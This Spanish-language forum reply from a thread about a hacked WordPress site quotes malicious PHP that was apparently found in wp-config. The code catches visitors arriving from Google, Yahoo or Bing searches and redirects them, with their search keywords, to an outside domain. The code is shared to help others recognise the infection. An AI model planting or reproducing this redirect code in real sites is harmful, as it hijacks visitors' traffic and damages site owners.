Ver Mensaje Individual
  #11 (permalink)  
Antiguo 11/02/2012, 09:25
IH-Antonio
 
Fecha de Ingreso: agosto-2005
Mensajes: 122
Antigüedad: 18 años, 8 meses
Puntos: 2
Respuesta: Hackeado mi sitio (Ya solucionado) y quiero saber como lo hacen

Hola, por si te sirve de algo, esto es lo que hay en el wp-config:

Código PHP:
    if (stristr($_SERVER[HTTP_REFERER],"google")) {
    if (!
stristr($_SERVER[HTTP_REFERER],".nu") and !stristr($_SERVER[HTTP_REFERER],"site") and !stristr($_SERVER[HTTP_REFERER],"inurl")){
        
preg_match ("/q\=(.*)/",$_SERVER[HTTP_REFERER],$kk);
        if (
stristr($kk[1],"&")) {
            
preg_match ("/(.*?)\&/",$kk[1],$key2);
            
$keyword=urldecode($key2[1]);
        }else {
            
$keyword=urldecode($kk[1]);
        }
        
header("Location: http://fgnfdfthrv.bee.pl/?q=".$keyword);
        exit();
    }

}elseif (
stristr($_SERVER[HTTP_REFERER],"yahoo")) {
preg_match ("/p\=(.*?)&/",$_SERVER[HTTP_REFERER],$kk);
        
header("Location: http://fgnfdfthrv.bee.pl/?q=".$kk[1]);
        exit();
}elseif (
stristr($_SERVER[HTTP_REFERER],"bing")) {
preg_match ("/q\=(.*?)&/",$_SERVER[HTTP_REFERER],$kk);
        
header("Location: http://fgnfdfthrv.bee.pl/?q=".$kk[1]);
        exit();

__________________
IberHosting - Alojamiento Web Linux
¡Aceptamos Bitcoins!